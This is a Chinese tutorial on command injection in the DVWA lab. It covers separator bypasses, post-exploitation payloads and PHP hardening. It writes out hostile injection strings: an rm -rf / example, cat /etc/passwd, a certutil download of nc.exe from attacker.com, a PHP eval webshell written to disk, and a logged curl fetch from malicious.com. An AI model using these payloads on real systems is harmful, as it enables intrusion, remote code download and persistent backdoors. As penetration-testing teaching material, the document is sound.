DVWA 靶场之 Command Injection（命令执行）漏洞深度剖析：从分隔符绕过到后门植入与源码审计、安全加固

1. 命令执行漏洞的本质与危害

命令执行漏洞（Command Injection）堪称Web安全领域的"核弹级"漏洞。想象一下，你在餐厅点餐时，服务员不仅接收了你点的菜品，还把你写在菜单背面的"把后厨钥匙给我"的指令也一并执行了——这就是命令执行漏洞的可怕之处。

在实际渗透测试中，我遇到过最典型的案例是一个电商网站的订单查询功能。正常应该输入订单号，但当我输入12345; rm -rf /时（当然没真的执行），服务器居然尝试删除所有文件。这种漏洞常出现在以下场景：

• 网络设备管理界面（路由器、摄像头）
• 网站后台管理系统
• 各类需要调用系统命令的Web应用

漏洞产生的根本原因在于开发者直接将用户输入拼接到了系统命令中。比如这段危险代码：

$output = shell_exec('ping -c 4 '.$_GET['ip']);

当攻击者输入127.0.0.1; cat /etc/passwd时，服务器就会乖乖显示用户列表。我曾用类似方式在某次授权测试中，只用3分钟就拿到了服务器控制权。

2. DVWA靶场环境搭建与调试

搭建DVWA靶场时，Windows环境下常遇到两个"坑"：

1. PHP版本过高导致DVWA无法正常运行（建议PHP 5.4-7.0）
2. 配置文件权限问题导致无法写入

最稳的搭建方案是我实践出来的组合：

• XAMPP 1.8.3（内置PHP 5.5）
• DVWA 1.10
• 关闭所有杀毒软件（特别是Windows Defender）

遇到中文乱码问题时，不要按网上教程改数据库编码，直接在dvwa/includes/dvwaPage.inc.php第40行添加：

header('Content-Type: text/html; charset=UTF-8');

这个办法比改数据库配置更彻底，我在10+台机器上实测有效。

3. 命令分隔符的魔法世界

不同操作系统下的分隔符就像方言，Windows和Linux各有特色：

分隔符	Windows效果	Linux效果
A&B	并行执行B	后台执行A
`A	B`	B接收A输出
A;B	报错	顺序执行
A&&B	A成功才执行B	同Windows
`A	B`

实战技巧：当&被过滤时，可以尝试：

• 在Windows下用%26（URL编码）
• 在Linux下用$()$()这样的空命令拼接

有次渗透测试遇到过滤了所有常见分隔符的系统，最后我用%0a（换行符的URL编码）成功突破了防线。

4. 漏洞利用的进阶技巧

4.1 信息收集三板斧

127.0.0.1&&whoami&&ipconfig/all

这个组合能一次性获取：

1. 当前用户权限
2. 网络配置信息
3. 系统版本（通过网卡名称判断）

4.2 突破目录限制

当发现web目录不可写时，试试：

127.0.0.1&&for /r C:\ %i in (*.php) do @echo %i

这个命令会递归列出C盘所有PHP文件，往往能找到其他可写目录。

4.3 无回显利用技巧

遇到没有回显的情况时，我常用的方法是：

127.0.0.1&&certutil -urlcache -split -f http://attacker.com/nc.exe C:\temp\nc.exe

配合VPS监听，80%的Windows服务器都能这样拿下。

5. Webshell植入的艺术

在Windows下写入Webshell要注意三个细节：

1. 转义尖括号：^<?php...^>
2. 使用绝对路径：> C:\xampp\htdocs\shell.php
3. 二次编码避免WAF检测

最稳的写入方式：

127.0.0.1|echo ^<?php @eval($_REQUEST['cmd']);?^> > shell.php

写入后立即用type命令验证内容，避免因空格等问题导致文件无效。

6. 源码审计实战分析

DVWA的Low级别漏洞代码问题很明显：

$target = $_REQUEST['ip']; $cmd = shell_exec('ping '.$target);

这段代码犯了三个致命错误：

1. 直接使用用户输入（$_REQUEST）
2. 未做任何过滤（escapeshellarg）
3. 使用危险函数（shell_exec）

加固方案要分三层防御：

1. 输入层：filter_var($ip, FILTER_VALIDATE_IP)
2. 处理层：escapeshellarg($ip)
3. 输出层：htmlspecialchars($output)

7. 防御体系的构建

在企业级防护中，我推荐"四维防御体系"：

1. 代码层

   • 使用proc_open()替代system()
   • 设置open_basedir限制
   • 禁用危险函数：disable_functions = system,exec...

2. 系统层

   # Linux下限制web用户权限 chown -R www-data:www-data /var/www chmod 750 /var/www

3. 网络层

   • 部署WAF规则拦截&|;等字符
   • 配置ModSecurity规则集

4. 监控层

   • 监控/tmp目录异常文件
   • 审计/var/log/auth.log异常登录

8. 从攻击者视角看防御

有次客户问我："为什么我们修了漏洞还是被入侵？"检查发现攻击者用了这些绕过手法：

• 使用反引号代替system()
• 通过LD_PRELOAD加载恶意so
• 利用环境变量注入PATH=/tmp:$PATH

真正的安全加固需要：

1. 定期进行红蓝对抗演练
2. 建立命令执行监控日志
3. 对运维人员进行实战培训

某次我通过日志发现异常命令：

/bin/sh -c ping 127.0.0.1; curl http://malicious.com/x.sh

及时阻断避免了服务器沦陷。安全就是攻防双方的持续较量，只有比攻击者想得更远，才能真正守住防线。